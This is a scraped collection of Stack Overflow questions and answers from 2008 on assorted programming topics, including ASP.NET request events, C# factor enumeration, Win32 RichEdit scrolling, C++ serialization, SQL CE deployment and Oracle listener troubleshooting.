<p>According <a href="http://msdn.microsoft.com/en-us/library/y3bwdsh3.aspx" rel="noreferrer">this MSDN article</a> <em>HttpApplication</em>.EndRequest can be used to close or dispose of resources. However this event is not fired/called in my application.</p> <p>We are attaching the handler in Page_Load the following way:</p> <pre><code>HttpContext.Current.ApplicationInstance.EndRequest += ApplicationInstance_EndRequest; </code></pre> <p>The only way is to use the Application_EndRequest handler in Global.asax, but this is not acceptable for us. </p>
[ { "answer_id": 240199, "author": "Eduardo Campañó", "author_id": 12091, "author_profile": "https://Stackoverflow.com/users/12091", "pm_score": 5, "selected": true, "text": "public class CustomModule : IHttpModule \n{\n public void Init(HttpApplication context)\n {\n context.EndRequest += new EventHandler(context_EndRequest);\n }\n\n private void context_EndRequest(object sender, EventArgs e)\n {\n HttpContext context = ((HttpApplication)sender).Context;\n // use your contect here\n }\n}\n <httpModules>\n <add name=\"CustomModule\" type=\"CustomModule\"/>\n</httpModules>\n" }, { "answer_id": 4834596, "author": "crokusek", "author_id": 538763, "author_profile": "https://Stackoverflow.com/users/538763", "pm_score": 2, "selected": false, "text": "Language=\"C#\" Inherits=\"YourBaseClass\"\n public override void Init()\n{\n base.Init();\n\n BeginRequest += new EventHandler(OnBeginRequest);\n EndRequest += new EventHandler(OnEndRequest);\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239823", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18859/" ]
239,865
<p>All numbers that divide evenly into x.</p> <p>I put in 4 it returns: 4, 2, 1</p> <p>edit: I know it sounds homeworky. I'm writing a little app to populate some product tables with semi random test data. Two of the properties are ItemMaximum and Item Multiplier. I need to make sure that the multiplier does not create an illogical situation where buying 1 more item would put the order over the maximum allowed. Thus the factors will give a list of valid values for my test data.</p> <p>edit++: This is what I went with after all the help from everyone. Thanks again!</p> <p>edit#: I wrote 3 different versions to see which I liked better and tested them against factoring small numbers and very large numbers. I'll paste the results.</p> <pre><code>static IEnumerable&lt;int&gt; GetFactors2(int n) { return from a in Enumerable.Range(1, n) where n % a == 0 select a; } private IEnumerable&lt;int&gt; GetFactors3(int x) { for (int factor = 1; factor * factor &lt;= x; factor++) { if (x % factor == 0) { yield return factor; if (factor * factor != x) yield return x / factor; } } } private IEnumerable&lt;int&gt; GetFactors1(int x) { int max = (int)Math.Ceiling(Math.Sqrt(x)); for (int factor = 1; factor &lt; max; factor++) { if(x % factor == 0) { yield return factor; if(factor != max) yield return x / factor; } } } </code></pre> <p>In ticks. When factoring the number 20, 5 times each:</p> <ul> <li>GetFactors1-5,445,881</li> <li>GetFactors2-4,308,234</li> <li>GetFactors3-2,913,659 </li> </ul> <p>When factoring the number 20000, 5 times each:</p> <ul> <li>GetFactors1-5,644,457</li> <li>GetFactors2-12,117,938</li> <li>GetFactors3-3,108,182</li> </ul>
[ { "answer_id": 239877, "author": "Chris Marasti-Georg", "author_id": 96, "author_profile": "https://Stackoverflow.com/users/96", "pm_score": 6, "selected": true, "text": "public List<int> Factor(int number) \n{\n var factors = new List<int>();\n int max = (int)Math.Sqrt(number); // Round down\n\n for (int factor = 1; factor <= max; ++factor) // Test from 1 to the square root, or the int below it, inclusive.\n { \n if (number % factor == 0) \n {\n factors.Add(factor);\n if (factor != number/factor) // Don't add the square root twice! Thanks Jon\n factors.Add(number/factor);\n }\n }\n return factors;\n}\n IEnumerable<int> List<int>" }, { "answer_id": 239884, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 4, "selected": false, "text": "% x % y == 0 x y 0 < y <= x IEnumerable<int>" }, { "answer_id": 239901, "author": "Marcel Popescu", "author_id": 31793, "author_profile": "https://Stackoverflow.com/users/31793", "pm_score": -1, "selected": false, "text": "IEnumerable<int> GetFactors(int n)\n{\n Debug.Assert(n >= 1);\n return from i in Enumerable.Range(1, n)\n where n % i == 0\n select i;\n}\n" }, { "answer_id": 239907, "author": "Jay Bazuzi", "author_id": 5314, "author_profile": "https://Stackoverflow.com/users/5314", "pm_score": 2, "selected": false, "text": " public static bool Divides(this int potentialFactor, int i)\n {\n return i % potentialFactor == 0;\n }\n\n public static IEnumerable<int> Factors(this int i)\n {\n return from potentialFactor in Enumerable.Range(1, i)\n where potentialFactor.Divides(i)\n select potentialFactor;\n }\n foreach (int i in 4.Factors())\n {\n Console.WriteLine(i);\n }\n i" }, { "answer_id": 239926, "author": "Jay Bazuzi", "author_id": 5314, "author_profile": "https://Stackoverflow.com/users/5314", "pm_score": 2, "selected": false, "text": " public static bool Divides(this int potentialFactor, int i)\n {\n return i % potentialFactor == 0;\n }\n\n public static IEnumerable<int> Factors(this int i)\n {\n foreach (int result in from potentialFactor in Enumerable.Range(1, (int)Math.Sqrt(i))\n where potentialFactor.Divides(i)\n select potentialFactor)\n {\n yield return result;\n if (i / result != result)\n {\n yield return i / result;\n }\n }\n }\n" }, { "answer_id": 240096, "author": "Pablo Retyk", "author_id": 30729, "author_profile": "https://Stackoverflow.com/users/30729", "pm_score": 2, "selected": false, "text": " static IEnumerable<int> GetFactors(int n)\n {\n Debug.Assert(n >= 1);\n var pairList = from i in Enumerable.Range(1, (int)(Math.Round(Math.Sqrt(n) + 1)))\n where n % i == 0\n select new { A = i, B = n / i };\n\n foreach(var pair in pairList)\n {\n yield return pair.A;\n yield return pair.B;\n }\n\n\n }\n" }, { "answer_id": 3433222, "author": "call me Steve", "author_id": 24334, "author_profile": "https://Stackoverflow.com/users/24334", "pm_score": 4, "selected": false, "text": "public static IEnumerable<uint> GetFactors(uint x)\n{\n for (uint i = 1; i * i <= x; i++)\n {\n if (x % i == 0)\n {\n yield return i;\n if (i != x / i)\n yield return x / i;\n }\n }\n}\n" }, { "answer_id": 36829780, "author": "Spencer", "author_id": 1133243, "author_profile": "https://Stackoverflow.com/users/1133243", "pm_score": 2, "selected": false, "text": " public static IEnumerable<int> GetDivisors(int number)\n {\n var searched = Enumerable.Range(1, number)\n .Where((x) => number % x == 0)\n .Select(x => number / x);\n\n foreach (var s in searched) \n yield return s;\n }\n" }, { "answer_id": 51896402, "author": "TaW", "author_id": 3152130, "author_profile": "https://Stackoverflow.com/users/3152130", "pm_score": 1, "selected": false, "text": "List<int> GetFactors(int n)\n{\n var f = new List<int>() { 1 }; // adding trivial factor, optional\n int m = n;\n int i = 2;\n while (m > 1)\n {\n if (m % i == 0)\n {\n f.Add(i);\n m /= i;\n }\n else i++;\n }\n // f.Add(n); // adding trivial factor, optional\n return f;\n}\n" }, { "answer_id": 55038439, "author": "Muhammad Haroon Iqbal", "author_id": 5880348, "author_profile": "https://Stackoverflow.com/users/5880348", "pm_score": 0, "selected": false, "text": "function getFactors(num1){\n var factors = [];\n var divider = 2;\n while(num1 != 1){\n if(num1 % divider == 0){\n num1 = num1 / divider;\n factors.push(divider);\n }\n else{\n divider++;\n }\n }\n console.log(factors);\n return factors;\n}\n\ngetFactors(20);\n" }, { "answer_id": 69323785, "author": "Nima Ghomri", "author_id": 9882771, "author_profile": "https://Stackoverflow.com/users/9882771", "pm_score": 0, "selected": false, "text": "max int private static List<int> Factor(int number)\n {\n var factors = new List<int>();\n var max = Math.Sqrt(number); // (store in double not an int) - Round down\n if (max % 1 == 0)\n factors.Add((int)max);\n\n for (int factor = 1; factor < max; ++factor) // (Exclusice) - Test from 1 to the square root, or the int below it, inclusive.\n {\n if (number % factor == 0)\n {\n factors.Add(factor);\n //if (factor != number / factor) // (Don't need check anymore) - Don't add the square root twice! Thanks Jon\n factors.Add(number / factor);\n }\n }\n return factors;\n }\n Factor(16)\n// 4 1 16 2 8\nFactor(20)\n//1 20 2 10 4 5\n int public static class IntExtensions\n{\n public static IEnumerable<int> Factors(this int value)\n {\n // Return 2 obvious factors\n yield return 1;\n yield return value;\n \n // Return square root if number is prefect square\n var max = Math.Sqrt(value);\n if (max % 1 == 0)\n yield return (int)max;\n\n // Return rest of the factors\n for (int i = 2; i < max; i++)\n {\n if (value % i == 0)\n {\n yield return i;\n yield return value / i;\n }\n }\n }\n}\n 16.Factors()\n// 4 1 16 2 8\n20.Factors()\n//1 20 2 10 4 5\n" }, { "answer_id": 71245864, "author": "Richard Robertson", "author_id": 671496, "author_profile": "https://Stackoverflow.com/users/671496", "pm_score": 1, "selected": false, "text": "public static IEnumerable<int>Factors(int Num)\n{\n int ToFactor = Num;\n\n if(ToFactor == 0)\n { // Zero has only itself and one as factors but this can't be discovered through division\n // obviously. \n yield return 0;\n return 1;\n }\n \n if(ToFactor < 0)\n {// Negative numbers are simply being treated here as just adding -1 to the list of possible \n // factors. In practice it can be argued that the factors of a number can be both positive \n // and negative, i.e. 4 factors into the following pairings of factors:\n // (-4, -1), (-2, -2), (1, 4), (2, 2) but normally when you factor numbers you are only \n // asking for the positive factors. By adding a -1 to the list it allows flagging the\n // series as originating with a negative value and the implementer can use that\n // information as needed.\n ToFactor = -ToFactor;\n \n yield return -1;\n }\n \n int FactorLimit = ToFactor / 2; // A good compiler may do this optimization already.\n // It's here just in case;\n \n for(int PossibleFactor = 1; PossibleFactor <= FactorLimit; PossibleFactor++)\n {\n if(ToFactor % PossibleFactor == 0)\n {\n yield return PossibleFactor;\n yield return ToFactor / PossibleFactor;\n }\n }\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239865", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12862/" ]
239,866
<p>I'm writing a license agreement dialog box with Win32 and I'm stumped. As usual with these things I want the "accept/don't accept" buttons to become enabled when the slider of the scroll bar of the richedit control hits bottom, but I can't find a way to get notified of that event. The earliest I've been able to learn about it is when the user releases the left mouse button.</p> <p>Is there a way to do this?</p> <p>Here's what I tried so far: </p> <ul> <li><code>WM_VSCROLL</code> and <code>WM_LBUTTONUP</code> in richedit's wndproc </li> <li><code>EN_MSGFILTER</code> notification in dlgproc (yes the filter mask is getting set)</li> <li><code>WM_VSCROLL</code> and <code>WM_LBUTTONUP</code> in dlgproc.</li> <li><code>EN_VSCROLL</code> notification in dlgproc</li> </ul> <p>I got so desperate I tried polling but that didn't work either because apparently timer messages stop arriving while the mouse button is down on the slider. I tried both:</p> <ul> <li>timer callback (to poll) in dlgproc</li> <li>timer callback (to poll) in richedit's wndproc</li> </ul>
[ { "answer_id": 239928, "author": "Skizz", "author_id": 1898, "author_profile": "https://Stackoverflow.com/users/1898", "pm_score": 1, "selected": false, "text": "#include <windows.h>\n#include <richedit.h>\n\nLRESULT __stdcall RichEditSubclass\n(\n HWND window,\n UINT message,\n WPARAM w_param,\n LPARAM l_param\n)\n{\n HWND\n parent = reinterpret_cast <HWND> (GetWindowLong (window, GWL_HWNDPARENT));\n\n WNDPROC\n proc = reinterpret_cast <WNDPROC> (GetWindowLong (parent, GWL_USERDATA));\n\n switch (message)\n {\n case WM_VSCROLL:\n {\n SCROLLINFO\n scroll_info = \n {\n sizeof scroll_info,\n SIF_ALL\n };\n\n GetScrollInfo (window, SB_VERT, &scroll_info);\n\n if (scroll_info.nPos + static_cast <int> (scroll_info.nPage) >= scroll_info.nMax ||\n scroll_info.nTrackPos + static_cast <int> (scroll_info.nPage) >= scroll_info.nMax)\n {\n HWND\n button = reinterpret_cast <HWND> (GetWindowLong (parent, 0));\n\n EnableWindow (button, TRUE);\n }\n }\n break;\n }\n\n return CallWindowProc (proc, window, message, w_param, l_param);\n}\n\nLRESULT __stdcall ApplicationWindowProc\n(\n HWND window,\n UINT message,\n WPARAM w_param,\n LPARAM l_param\n)\n{\n bool\n use_default_proc = false;\n\n LRESULT\n result = 0;\n\n switch (message)\n {\n case WM_CREATE:\n {\n CREATESTRUCT\n *creation_data = reinterpret_cast <CREATESTRUCT *> (l_param);\n\n RECT\n client;\n\n GetClientRect (window, &client);\n\n HWND\n child = CreateWindow (RICHEDIT_CLASS,\n TEXT (\"The\\nQuick\\nBrown\\nFox\\nJumped\\nOver\\nThe\\nLazy\\nDog\\nThe\\nQuick\\nBrown\\nFox\\nJumped\\nOver\\nThe\\nLazy\\nDog\"),\n WS_CHILD | WS_VISIBLE | ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | ES_DISABLENOSCROLL,\n 0, 0, client.right, client.bottom - 30,\n window,\n 0,\n creation_data->hInstance,\n 0);\n\n SetWindowLong (window, GWL_USERDATA, GetWindowLong (child, GWL_WNDPROC));\n SetWindowLong (child, GWL_WNDPROC, reinterpret_cast <LONG> (RichEditSubclass));\n SetWindowLong (child, GWL_ID, 0);\n\n child = CreateWindow (TEXT (\"BUTTON\"), TEXT (\"Go Ahead!\"), WS_CHILD | WS_VISIBLE | WS_DISABLED, 0, client.bottom - 30, client.right, 30, window, 0, creation_data->hInstance, 0);\n\n SetWindowLong (window, 0, reinterpret_cast <LONG> (child));\n SetWindowLong (child, GWL_ID, 1);\n }\n break;\n\n case WM_COMMAND:\n if (HIWORD (w_param) == BN_CLICKED && LOWORD (w_param) == 1)\n {\n DestroyWindow (window);\n }\n break;\n\n default:\n use_default_proc = true;\n break;\n }\n\n return use_default_proc ? DefWindowProc (window, message, w_param, l_param) : result;\n}\n\nint __stdcall WinMain\n(\n HINSTANCE instance,\n HINSTANCE unused,\n LPSTR command_line,\n int show\n)\n{\n LoadLibrary (TEXT (\"riched20.dll\"));\n\n WNDCLASS\n window_class = \n {\n 0,\n ApplicationWindowProc,\n 0,\n 4,\n instance,\n 0,\n LoadCursor (0, IDC_ARROW),\n reinterpret_cast <HBRUSH> (COLOR_BACKGROUND + 1),\n 0,\n TEXT (\"ApplicationWindowClass\")\n };\n\n RegisterClass (&window_class);\n\n HWND\n window = CreateWindow (TEXT (\"ApplicationWindowClass\"),\n TEXT (\"Application\"),\n WS_VISIBLE | WS_OVERLAPPED | WS_SYSMENU,\n CW_USEDEFAULT,\n CW_USEDEFAULT,\n 400, 300, 0, 0,\n instance,\n 0);\n\n MSG\n message;\n\n int\n success;\n\n while (success = GetMessage (&message, window, 0, 0))\n { \n if (success == -1)\n {\n break;\n }\n else\n {\n TranslateMessage (&message);\n DispatchMessage (&message);\n }\n }\n\n return 0;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239866", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31790/" ]
239,872
<p>VS2008 Code Analysis will flag a spelling mistake in an identifier using the <code>IdentifiersShouldBeSpelledCorrectly</code> warning type.</p> <p>This process is using an American dictionary by default because words are being flagged that are correctly spelt using the British spelling. For example, words like "Organisation" and "Customisation", etc...</p> <p>I am aware that you can create your own custom Xml dictionary files that contain any words you don't want to be flagged, however, can anyone tell me if you can configure Code Analysis to use a different default (or additional) dictionary from those available in Windows?</p>
[ { "answer_id": 240440, "author": "Andy McCluggage", "author_id": 3362, "author_profile": "https://Stackoverflow.com/users/3362", "pm_score": 4, "selected": true, "text": " CodeAnalysisCulture <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n ...\n <RunCodeAnalysis>true</RunCodeAnalysis>\n <CodeAnalysisCulture>en-GB</CodeAnalysisCulture>\n ...\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239872", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3362/" ]
239,876
<p>What is the best way of storing data out to a file on a network, which will be later read in again programmatically. Target platform for the program is Linux (Fedora), but it will need to write out a file to a Windows (XP) machine</p> <p>This needs to be in C++, there will be a high number of write / read events so it needs to be efficient, and the data needs to be written out in such a way that it can be read back in easily.</p> <p>The whole file may not be being read back in, I'll need to search for a specific block of data in the file and read that back in.</p> <p>Will simple binary stream writer do? How should I store the data - XML?</p> <p>Anything else I need to worry about?</p> <hr> <p><strong>UPDATE :</strong> To clarify, here are some answers to <strong><em>peterchen's</em></strong> points</p> <blockquote> <p>Please clarify:</p> <p><strong>* do you only append blocks, or do you also need to remove / update them?</strong></p> </blockquote> <p>I only need to append to the end of the file, but will need to search through it and retrieve from any point in it</p> <blockquote> <pre><code>*** are all blocks of the same size?** </code></pre> </blockquote> <p>No, the data will vary in size - some will be free text comments (like a post here) others will be specific object-like data (sets of parameters)</p> <blockquote> <pre><code>*** is it necessary to be a single file?** </code></pre> </blockquote> <p>No, but desirable</p> <blockquote> <pre><code>*** by which criteria do you need to locate blocks?** </code></pre> </blockquote> <p>By data type and by timestamp. For example, if I periodically write out a specific set of parameters, in amognst other data, like free text, I want to find the value of those parameters at a cerain date/time - so I'll need to search for the time I wrote out those parameters nearest that date and read them back in.</p> <blockquote> <pre><code>*** must the data be readable for other applications?** </code></pre> </blockquote> <p>No.</p> <blockquote> <pre><code>*** do you need concurrent access?** </code></pre> </blockquote> <p>Yes, I may be continuing to write as I read. but should only ever do one write at a time.</p> <blockquote> <pre><code>*** Amount of data (per block / total) - kilo, mega, giga, tera?** </code></pre> </blockquote> <p>Amount of data will be low per write... from a number of bytes to a coupe hundred bytes - total should see no more than few hundred kilobytes possible a fwe megabytes. (still unsure as yet)</p> <p>**> If you need all of this, rolling your own will be a challenge, I would definitely </p> <blockquote> <p>recommend to use a database. If you need less than that, please specify so we can recommend.**</p> </blockquote> <p>A database would over complicate the system so that is not an option unfortunately.</p>
[ { "answer_id": 240406, "author": "João Augusto", "author_id": 6909, "author_profile": "https://Stackoverflow.com/users/6909", "pm_score": 2, "selected": false, "text": "struct structBlockInfo\n {\n int iTimeStamp; // TimeStamp \n char cBlockType; // Type of Data (PArameters or Simple Text)\n long vOffset; // Position on the real File\n };\n struct structBlockText\n { \n char cComment[];\n };\n\n struct structBlockValuesExample1\n { \n int iValue1;\n int iValue2;\n };\n\n struct structBlockValuesExample2\n { \n int iValue1;\n int iValue2;\n long lValue1;\n char cLittleText[];\n };\n fread(cBuffer, 1, iTotalBytes, p_File);\n structBlockText* p_stBlock = (structBlockText*) cBuffer;\n structBlockValuesExample1* p_stBlock = (structBlockValuesExample1*) cBuffer;\n" }, { "answer_id": 240513, "author": "graham.reeds", "author_id": 342, "author_profile": "https://Stackoverflow.com/users/342", "pm_score": 1, "selected": false, "text": "template<class T>\n int write_pod( std::ofstream& out, T& t )\n{\n out.write( reinterpret_cast<const char*>( &t ), sizeof( T ) );\n return sizeof( T );\n}\n\ntemplate<class T>\n void read_pod( std::ifstream& in, T& t )\n{\n in.read( reinterpret_cast<char*>( &t ), sizeof( T ) );\n}\n struct object {\n std::vector<small_objects> values;\n\n template <class archive>\n void deserialize( archive& ar ) {\n size_t size;\n read_pod( ar, size );\n values.resize( size );\n for ( int i=0; i<size; ++i ) {\n values[i].deserialize( ar );\n }\n }\n}\n" }, { "answer_id": 241197, "author": "mempko", "author_id": 8863, "author_profile": "https://Stackoverflow.com/users/8863", "pm_score": 1, "selected": false, "text": "#include <fstream>\n\n// include headers that implement a archive in simple text format\n#include <boost/archive/text_oarchive.hpp>\n#include <boost/archive/text_iarchive.hpp>\n\n/////////////////////////////////////////////////////////////\n// gps coordinate\n//\n// illustrates serialization for a simple type\n//\nclass gps_position\n{\nprivate:\n friend class boost::serialization::access;\n // When the class Archive corresponds to an output archive, the\n // & operator is defined similar to <<. Likewise, when the class Archive\n // is a type of input archive the & operator is defined similar to >>.\n template<class Archive>\n void serialize(Archive & ar, const unsigned int version)\n {\n ar & degrees;\n ar & minutes;\n ar & seconds;\n }\n int degrees;\n int minutes;\n float seconds;\npublic:\n gps_position(){};\n gps_position(int d, int m, float s) :\n degrees(d), minutes(m), seconds(s)\n {}\n};\n\nint main() {\n // create and open a character archive for output\n std::ofstream ofs(\"filename\");\n\n // create class instance\n const gps_position g(35, 59, 24.567f);\n\n // save data to archive\n {\n boost::archive::text_oarchive oa(ofs);\n // write class instance to archive\n oa << g;\n // archive and stream closed when destructors are called\n }\n\n // ... some time later restore the class instance to its orginal state\n gps_position newg;\n {\n // create and open an archive for input\n std::ifstream ifs(\"filename\");\n boost::archive::text_iarchive ia(ifs);\n // read class state from archive\n ia >> newg;\n // archive and stream closed when destructors are called\n }\n return 0;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239876", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15533/" ]
239,888
<p>What is the equivalent to the C# "!" operator in F#?</p>
[ { "answer_id": 239903, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 7, "selected": true, "text": "not" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239888", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30056/" ]
239,905
<p>Lets say on MySQL database (if it matters).</p>
[ { "answer_id": 239960, "author": "John Rudy", "author_id": 14048, "author_profile": "https://Stackoverflow.com/users/14048", "pm_score": 5, "selected": true, "text": "SqlCommand cmd = new SqlCommand(\"exec @myProc \" + paramValue, con);\ncmd.ExecuteNonQuery();\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28098/" ]
239,909
<p>I have a property called "IsSecureConnection" that is part of my object's interface. This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly. </p> <p>Should I omit this property from the object's interface even though it is required by all of the implementations (though slightly different on occasion)?</p> <p>Thanks!</p>
[ { "answer_id": 239911, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "public interface Foo{\n bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}\n}\n" }, { "answer_id": 239918, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 3, "selected": false, "text": "public interface ICanBeSecure\n{\n bool IsSecureConnection { get; }\n}\n\npublic interface IIsSecureable : ICanBeSecure\n{\n bool IsSecureConnection { get; set;}\n}\n" }, { "answer_id": 239922, "author": "Chris Marasti-Georg", "author_id": 96, "author_profile": "https://Stackoverflow.com/users/96", "pm_score": 2, "selected": false, "text": "public interface IFoo {\n bool SecuredConnection{ get; }\n}\n\npublic interface ISecurableOptionFoo: IFoo {\n bool SecuredConnection{ get; set; }\n}\n" }, { "answer_id": 240029, "author": "Mark Brackett", "author_id": 2199, "author_profile": "https://Stackoverflow.com/users/2199", "pm_score": 3, "selected": true, "text": "interface IObject {\n bool IsSecureConnection { get; }\n // ... other interface definitions //\n}\n\ninterface ISecurableObject : IObject {\n new bool IsSecureConnection { get; set; }\n}\n interface IObject {\n bool IsSecureConnection { get; }\n // ... other interface definitions //\n}\n\ninterface ISecurableObject : IObject {\n void SetConnectionSecurity(bool isSecure);\n}\n interface ISecurable {\n bool IsSecureConnection { get; }\n bool TrySecureConnection();\n}\n interface ISecurable {\n bool IsSecureConnection { get; set; }\n bool SupportsSecureConnection { get; }\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239909", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
239,910
<p>We have a situation where a C# application is working with SQL CE 3.5 . To allow for a legacy program to use some of its features we have produced a C++ dll which uses interop to extract the info that it needs from the C# program. For this to work, the C#-program needs to access the database. Its not a very complex scenario.</p> <p>When trying to deploy with a private install some problems occur though. <strong>There is no problem with the C# program, it can access the database and work with it without any problems.</strong></p> <p><strong>But when trying to access functions in the C#-program through the C++ interop which forces the C#-program to access the database, we get a crash with the exception saying that "...the Provider: System.Data.SqlServerCe.3.5 is not installed".</strong></p> <p>This is obviously because we cannot add a App.config file to the executing program.</p> <p>How can we get around this? Is there another way to fix this? Any other forms of SQL CE 3.5 install methods are out of the question. So we must get this to work.</p> <p>Regards,</p> <p>P</p> <p><strong>Edit:</strong></p> <p>I'm not working against SQL CE directly, but through Linq2SQL. I have tried to add config files to all my dll's, it does not help. It seems to only matter if the executable file have got a app.config.</p> <p>The exception thrown says - The provider System.Data.SqlServerCe.3.5 is not installed.</p> <p>And the latest function to be called according to the stack trace is System.Data.Linq.SqlClient.SqlProvider.System.Data.Linq.Provider.IProvider.Initialize(...).</p> <p><strong>Edit 2</strong></p> <p>I have added all the files necessery for the deployment to work. As I wrote above, it works if I use the program dll (which uses Linq 2 Sql) through a .net executable with a app.config file that specifies where to look for the SQL CE 3.5 dll. Deployment will <em>not</em> work with only the files, an app.config file is necessary.</p> <p>The problem is that we have to use the dll file through a C++ executable which have no means of telling .net where to look for the Sql Ce 3.5 dll.</p>
[ { "answer_id": 269182, "author": "Sunlight", "author_id": 33650, "author_profile": "https://Stackoverflow.com/users/33650", "pm_score": 0, "selected": false, "text": ".exe.config" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239910", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15763/" ]
239,912
<p>Is there a Python class that wraps the <code>file</code> interface (read, write etc.) around a string? I mean something like the <code>stringstream</code> classes in C++.</p> <p>I was thinking of using it to redirect the output of <code>print</code> into a string, like this</p> <pre><code>sys.stdout = string_wrapper() print "foo", "bar", "baz" s = sys.stdout.to_string() #now s == "foo bar baz" </code></pre> <p>EDIT: This is a duplicate of <a href="https://stackoverflow.com/questions/141449/how-do-i-wrap-a-string-in-a-file-in-python">How do I wrap a string in a file in Python?</a></p>
[ { "answer_id": 239929, "author": "Peter Hoffmann", "author_id": 720, "author_profile": "https://Stackoverflow.com/users/720", "pm_score": 5, "selected": true, "text": "import StringIO\nimport sys\n\n\nsys.stdout = StringIO.StringIO()\nprint \"foo\", \"bar\", \"baz\"\ns = sys.stdout.getvalue()\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239912", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30579/" ]
239,934
<p>I am using Oracle 10g R2. Recently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself. </p> <p>Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to supposedly change its settings. </p> <p>Does anybody have a clue on the roots of this problem?</p> <p>@akaDruid: I am testing my connection simply by trying to start SQLPlus on the server. </p> <p>@Matthew: It's Windows</p>
[ { "answer_id": 240005, "author": "Colin Pickard", "author_id": 12744, "author_profile": "https://Stackoverflow.com/users/12744", "pm_score": 2, "selected": false, "text": "C:\\Documents and Settings\\user>lsnrctl status\n\nLSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:00:21\n\nCopyright (c) 1991, 2005, Oracle. All rights reserved.\n\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))\nTNS-12541: TNS:no listener\n TNS-12560: TNS:protocol adapter error\n TNS-00511: No listener\n 32-bit Windows Error: 2: No such file or directory\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server.domain.co.uk)\n(PORT=1521)))\nTNS-12541: TNS:no listener\n TNS-12560: TNS:protocol adapter error\n TNS-00511: No listener\n 32-bit Windows Error: 61: Unknown error\n\nC:\\Documents and Settings\\user>lsnrctl status\n LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:03\n:33\n\nCopyright (c) 1991, 2005, Oracle. All rights reserved.\n\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))\nSTATUS of the LISTENER\n------------------------\nAlias LISTENER\nVersion TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production\nStart Date 27-OCT-2008 14:03:27\nUptime 0 days 0 hr. 0 min. 5 sec\nTrace Level off\nSecurity ON: Local OS Authentication\nSNMP OFF\nListener Parameter File C:\\oracle\\product\\10.2.0\\db_1\\network\\admin\\listener.ora\nListener Log File C:\\oracle\\product\\10.2.0\\db_1\\network\\log\\listener.log\n\nListening Endpoints Summary...\n (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\\\.\\pipe\\EXTPROC01ipc)))\n (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server.domain.co.uk)(PORT=1521))\n)\nServices Summary...\nService \"ORCL\" has 1 instance(s).\n Instance \"ORCL\", status UNKNOWN, has 1 handler(s) for this service...\nService \"ORCL1\" has 1 instance(s).\n Instance \"ORCL1\", status UNKNOWN, has 1 handler(s) for this service...\nService \"PLSExtProc\" has 1 instance(s).\n Instance \"PLSExtProc\", status UNKNOWN, has 1 handler(s) for this service...\nThe command completed successfully\n\nC:\\Documents and Settings\\user>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239934", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3751/" ]
239,938
<p>i'm trying to change the number of rows in a <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.aspx" rel="nofollow noreferrer">TableLayoutPanel</a> programatically (sometimes it needs to be four, sometimes five, and rarely six).</p> <p>Unfortunatly changing the number of rows does not keep the <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.rowstyles.aspx" rel="nofollow noreferrer"><code>RowStyles</code></a> collection in sync, so you are then not able to set the height of the newly added rows. The following test code demonstrates this fact:</p> <pre><code>private void button1_Click(object sender, EventArgs e) { //TableLayoutPanels start with 2 rows by default. Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); //Cannot remove rows tableLayoutPanel1.RowCount = 1; Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); } </code></pre> <p>The second assertion fails.</p> <pre><code>private void button2_Click(object sender, EventArgs e) { //TableLayoutPanels start with 2 rows by default. Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); //Cannot add rows tableLayoutPanel1.RowCount = 6; Debug.Assert(tableLayoutPanel1.RowStyles.Count == tableLayoutPanel1.RowCount); } </code></pre> <p>The second assertion fails.</p> <p>So what's the proper programatic way to set the <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.rowcount.aspx" rel="nofollow noreferrer"><code>RowCount</code></a> property of a <a 